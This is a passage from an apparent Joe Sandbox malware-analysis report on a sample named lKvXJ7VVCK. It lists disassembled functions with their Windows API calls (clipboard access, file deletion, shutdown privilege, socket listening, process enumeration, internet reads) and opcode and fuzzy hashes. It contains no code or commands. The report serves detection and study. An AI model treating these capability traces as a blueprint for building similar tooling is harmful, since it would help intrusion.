                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                          • String ID:
                                                          • API String ID: 1737998785-0
                                                          • Opcode ID: 86d693c53d6f99500d52f0ebb7cfb8d8268ed175d75277aacf42e0815a4c12ab
                                                          • Instruction ID: c7a48b989765356abf72d482f5584e513bc462ab5b3c4b87687b2ccd1b05c71d
                                                          • Opcode Fuzzy Hash: 86d693c53d6f99500d52f0ebb7cfb8d8268ed175d75277aacf42e0815a4c12ab
                                                          • Instruction Fuzzy Hash: 4E21A1392002149FDB10AF24EC09B6D7BA8FF55754F10802AF94ADB2B1DB34AC45EF55
                                                          Function 00553B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,004F4743,?,?,004F37AE,?), ref: 004F4770
                                                            • Part of subcall function 00554A31: GetFileAttributesW.KERNEL32(?,0055370B), ref: 00554A32
                                                          • FindFirstFileW.KERNEL32(?,?), ref: 00553B89
                                                          • DeleteFileW.KERNEL32(?,?,?,?), ref: 00553BD9
                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 00553BEA
                                                          • FindClose.KERNEL32(00000000), ref: 00553C01
                                                          • FindClose.KERNEL32(00000000), ref: 00553C0A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                          • String ID: \*.*
                                                          • API String ID: 2649000838-1173974218
                                                          • Opcode ID: 78be47c0fee230a2014989b0e83b11205007a8d59a9e0b34b199a6069e533206
                                                          • Instruction ID: 75e15eb3007ed2f4d3763aca8cf6e7618837125eee72426d7be3300aa50a4f27
                                                          • Opcode Fuzzy Hash: 78be47c0fee230a2014989b0e83b11205007a8d59a9e0b34b199a6069e533206
                                                          • Instruction Fuzzy Hash: 253194310083899BC301EF24D8A18BFBBA8BE95315F440D1EF9D996191EB249A0CD757
                                                          Function 005551BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 005487E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0054882B
                                                            • Part of subcall function 005487E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00548858
                                                            • Part of subcall function 005487E1: GetLastError.KERNEL32 ref: 00548865
                                                          • ExitWindowsEx.USER32(?,00000000), ref: 005551F9
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                          • String ID: $@$SeShutdownPrivilege
                                                          • API String ID: 2234035333-194228
                                                          • Opcode ID: 6507905bbe3de3fd8d5065fae9983089a33b630cedc1c32bc65ee48a1bb38cbc
                                                          • Instruction ID: 55bb44becd7094d497ba069999291e2dc989e23badd4cd151c74edac34c7776c
                                                          • Opcode Fuzzy Hash: 6507905bbe3de3fd8d5065fae9983089a33b630cedc1c32bc65ee48a1bb38cbc
                                                          • Instruction Fuzzy Hash: 1701FC396916115BE72852A4AC7EFBE7E58F705342F500823FD07D20D2F9511C089790
                                                          Function 00566283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 005662DC
                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005662EB
                                                          • bind.WSOCK32(00000000,?,00000010), ref: 00566307
                                                          • listen.WSOCK32(00000000,00000005), ref: 00566316
                                                          • WSAGetLastError.WSOCK32(00000000), ref: 00566330
                                                          • closesocket.WSOCK32(00000000,00000000), ref: 00566344
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$bindclosesocketlistensocket
                                                          • String ID:
                                                          • API String ID: 1279440585-0
                                                          • Opcode ID: 5338b975ea9807d23dc74272da5623ee6ca9e4c10e9af2daeeaa14d34f79675f
                                                          • Instruction ID: 5710fc7d487b3e28df17217e2c42fc873a84e54ca981991a988074faef05b577
                                                          • Opcode Fuzzy Hash: 5338b975ea9807d23dc74272da5623ee6ca9e4c10e9af2daeeaa14d34f79675f
                                                          • Instruction Fuzzy Hash: C521DD34600204AFCB10EF64D849B7EBBA9FF49724F148669E91AA73D1CB70AC45EB51
                                                          Function 0055F3F3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120filesleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0055F440
                                                          • Sleep.KERNEL32(0000000A), ref: 0055F470
                                                          • FindNextFileW.KERNEL32(?,?), ref: 0055F53D
                                                          • FindClose.KERNEL32(00000000), ref: 0055F553
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstNextSleep
                                                          • String ID: *.*
                                                          • API String ID: 1749430636-438819550
                                                          • Opcode ID: 0d3ac9a6ed44130492e2be199b5a99172e2c22a86a6170cf259be65c43bcef34
                                                          • Instruction ID: 31697a18505e1d44caba4bf529362bed49bc21a9e0708181942ffe95357da3aa
                                                          • Opcode Fuzzy Hash: 0d3ac9a6ed44130492e2be199b5a99172e2c22a86a6170cf259be65c43bcef34
                                                          • Instruction Fuzzy Hash: C7418C7180020AAFDF14DF68DC59AEEBBB4FF05315F10446AE919A3191EB349E88DB50
                                                          Function 004F1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
                                                          • DefDlgProcW.USER32(?,?,?,?,?), ref: 004F19FA
                                                          • GetSysColor.USER32(0000000F), ref: 004F1A4E
                                                          • SetBkColor.GDI32(?,00000000), ref: 004F1A61
                                                            • Part of subcall function 004F1290: DefDlgProcW.USER32(?,00000020,?), ref: 004F12D8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ColorProc$LongWindow
                                                          • String ID:
                                                          • API String ID: 3744519093-0
                                                          • Opcode ID: 6b1c1bddbdb07acec542d53ca736b6cf06cfb38a4ea78b40f831150e51a9e6df
                                                          • Instruction ID: 5023feceae74edbb9e943ab39b1ccff48c33ddec1ec46aba801faac719182e87
                                                          • Opcode Fuzzy Hash: 6b1c1bddbdb07acec542d53ca736b6cf06cfb38a4ea78b40f831150e51a9e6df
                                                          • Instruction Fuzzy Hash: 9BA16C7150255DFAE628AB29AC48E7F3E5CFF42345F14021BF312D11F2DA199D42E2BA
                                                          Function 00566747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00567D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00567DB6
                                                          • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0056679E
                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005667C7
                                                          • bind.WSOCK32(00000000,?,00000010), ref: 00566800
                                                          • WSAGetLastError.WSOCK32(00000000), ref: 0056680D
                                                          • closesocket.WSOCK32(00000000,00000000), ref: 00566821
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                                          • String ID:
                                                          • API String ID: 99427753-0
                                                          • Opcode ID: 1f02be4badb57344e8b81c19c170877aabe0a11b45f0fc9c43974fa3bee30876
                                                          • Instruction ID: 3ce0169a2529f4358e10c7faf049aeb8e9c34129af42696584cb596276d7e6b8
                                                          • Opcode Fuzzy Hash: 1f02be4badb57344e8b81c19c170877aabe0a11b45f0fc9c43974fa3bee30876
                                                          • Instruction Fuzzy Hash: 6741D375A00208AFDB10BF258C86F7E77E8EF45758F04845DFA19AB3C2CA749D019B95
                                                          Function 00575376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                          • String ID:
                                                          • API String ID: 292994002-0
                                                          • Opcode ID: eb9dbabd13cf2328321197228fb1fd2201c03e1d53857b28e8ad987432114f5c
                                                          • Instruction ID: 17414feca5af08f0f419584c01b5d19757e17eb4eee8d655d70dd047fe65bd17
                                                          • Opcode Fuzzy Hash: eb9dbabd13cf2328321197228fb1fd2201c03e1d53857b28e8ad987432114f5c
                                                          • Instruction Fuzzy Hash: 0311E2313009156BDB206F26EC44A6A7F99FF853A0B408839F80ED7251EBB49C41ABA4
                                                          Function 005480A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 005480C0
                                                          • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 005480CA
                                                          • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 005480D9
                                                          • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 005480E0
                                                          • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 005480F6
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 44706859-0
                                                          • Opcode ID: 989dc3afa070c747a6b23b26b1506e3eae0b43130ebde826e2d5ece3be3750fa
                                                          • Instruction ID: c901823f72e706af669ffb46634de0aec2170ab5cfe175bb6b1240d1edd071f5
                                                          • Opcode Fuzzy Hash: 989dc3afa070c747a6b23b26b1506e3eae0b43130ebde826e2d5ece3be3750fa
                                                          • Instruction Fuzzy Hash: F8F04F31240204AFEB105FA5EC8DEBB3FACFF4A759F400026F949C6150CA619C85EB60
                                                          Function 004FE6A0 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Dd[$Dd[$Dd[$Dd[$Variable must be of type 'Object'.
                                                          • API String ID: 0-3728478237
                                                          • Opcode ID: 2f3583ae8281d123f3d5f5081d9cfa12acf7d69105a80e6bb7c078b5990dd7d0
                                                          • Instruction ID: 123df1f65535eb90911299fa43232fe086e79f04b8ad7f554f5da7c81c90d647
                                                          • Opcode Fuzzy Hash: 2f3583ae8281d123f3d5f5081d9cfa12acf7d69105a80e6bb7c078b5990dd7d0
                                                          • Instruction Fuzzy Hash: D8A2C174A00209CFCB24CF59C480ABEBBB1FF58315F24856AEA059B361D778ED46CB95
                                                          Function 0055C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoInitialize.OLE32(00000000), ref: 0055C432
                                                          • CoCreateInstance.OLE32(00582D6C,00000000,00000001,00582BDC,?), ref: 0055C44A
                                                          • CoUninitialize.OLE32 ref: 0055C6B7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CreateInitializeInstanceUninitialize
                                                          • String ID: .lnk
                                                          • API String ID: 948891078-24824748
                                                          • Opcode ID: cf2675bad9596d5651014b3458606a10cfa39358ea3e00fbc8444ddcc69a9377
                                                          • Instruction ID: 78f93af8eeee2ea19728fd3c5a310cc33103629832b73fb415ab119fc9e2e85d
                                                          • Opcode Fuzzy Hash: cf2675bad9596d5651014b3458606a10cfa39358ea3e00fbc8444ddcc69a9377
                                                          • Instruction Fuzzy Hash: 37A139B1104209AFD700EF64C881EBBB7A8FF85358F00491EF6559B1A2DB75AE09CB56
                                                          Function 004F4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,004F4AD0), ref: 004F4B45
                                                          • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 004F4B57
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: GetNativeSystemInfo$kernel32.dll
                                                          • API String ID: 2574300362-192647395
                                                          • Opcode ID: 7950037de167f07395bc1f057ff168274f73abeab02af3d2781f5b512a57474c
                                                          • Instruction ID: 862180abbf15aeaf083d4d611b19a02a15b7b9f541edaf55c1b3febe2cb43307
                                                          • Opcode Fuzzy Hash: 7950037de167f07395bc1f057ff168274f73abeab02af3d2781f5b512a57474c
                                                          • Instruction Fuzzy Hash: 78D0E234A10716CFD720DB32E828B177AE4AF55391B11C87A948AD6250EA74E880EB68
                                                          Function 0056EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateToolhelp32Snapshot.KERNEL32 ref: 0056EE3D
                                                          • Process32FirstW.KERNEL32(00000000,?), ref: 0056EE4B
                                                          • Process32NextW.KERNEL32(00000000,?), ref: 0056EF0B
                                                          • CloseHandle.KERNEL32(00000000,?,?,?), ref: 0056EF1A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                          • String ID:
                                                          • API String ID: 420147892-0
                                                          • Opcode ID: a243a293662e7fc715307726d07b7f1bd526fd35618906e11d64ba2715c8303a
                                                          • Instruction ID: f50044046e5c760a47e5b652a11465874a4210594970eeac7951d1d568670dd0
                                                          • Opcode Fuzzy Hash: a243a293662e7fc715307726d07b7f1bd526fd35618906e11d64ba2715c8303a
                                                          • Instruction Fuzzy Hash: 1A51AE71104304AFD310EF21DC86E6BBBE8FF94714F00482EF695972A1EB74A908CB96
                                                          Function 00524E87 Relevance: 6.1, APIs: 4, Instructions: 53timethreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00524EBB
                                                          • GetCurrentThreadId.KERNEL32 ref: 00524ECA
                                                          • GetCurrentProcessId.KERNEL32 ref: 00524ED3
                                                          • QueryPerformanceCounter.KERNEL32(?), ref: 00524EE0
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                          • String ID:
                                                          • API String ID: 2933794660-0
                                                          • Opcode ID: 899d2f930b6e966ccae7c20d23fe7ad51739a08b4d4f172adcd1d1091860dbe6
                                                          • Instruction ID: 3a4cb6ee85a017bd7eac9272b261e4930e19d2683635cec3fda3c732af09f962
                                                          • Opcode Fuzzy Hash: 899d2f930b6e966ccae7c20d23fe7ad51739a08b4d4f172adcd1d1091860dbe6
                                                          • Instruction Fuzzy Hash: 70118C71D01118EBDB04CBB8EA456AEBBF4FF69310F51086AD407D7290EB309A08EF61
                                                          Function 00529AB5 Relevance: 5.9, Strings: 4, Instructions: 881COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                          • API String ID: 0-2761157908
                                                          • Opcode ID: 7d7aed347950e130c8a91dc46506aef9be71d8e1bcb2d849e70a79f281dde3d4
                                                          • Instruction ID: 77ce69924632176f9087118350873a3cade2c78cfc80cef274dbae2581be2a53
                                                          • Opcode Fuzzy Hash: 7d7aed347950e130c8a91dc46506aef9be71d8e1bcb2d849e70a79f281dde3d4
                                                          • Instruction Fuzzy Hash: 07627E75E0426A8FDF24CFA8D8402EDBBB1FF59310F25856AD845EB381E7749942CB81
                                                          Function 0054E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenW.KERNEL32(?,?,?,00000000), ref: 0054E628
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: lstrlen
                                                          • String ID: ($|
                                                          • API String ID: 1659193697-1631851259
                                                          • Opcode ID: 6709bc72b88333a2dfed646c86409ecb158b638b2397d6beedf310e5c91d9123
                                                          • Instruction ID: 1f2145df059f4651b58a6a0fc5038a949060169004c2ff3e3cb488517228196b
                                                          • Opcode Fuzzy Hash: 6709bc72b88333a2dfed646c86409ecb158b638b2397d6beedf310e5c91d9123
                                                          • Instruction Fuzzy Hash: 02323675A007059FD728CF19D4859AABBF0FF48324B15C56EE89ADB3A1D770E981CB40
                                                          Function 005622EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0056180A,00000000), ref: 005623E1
                                                          • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00562418
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
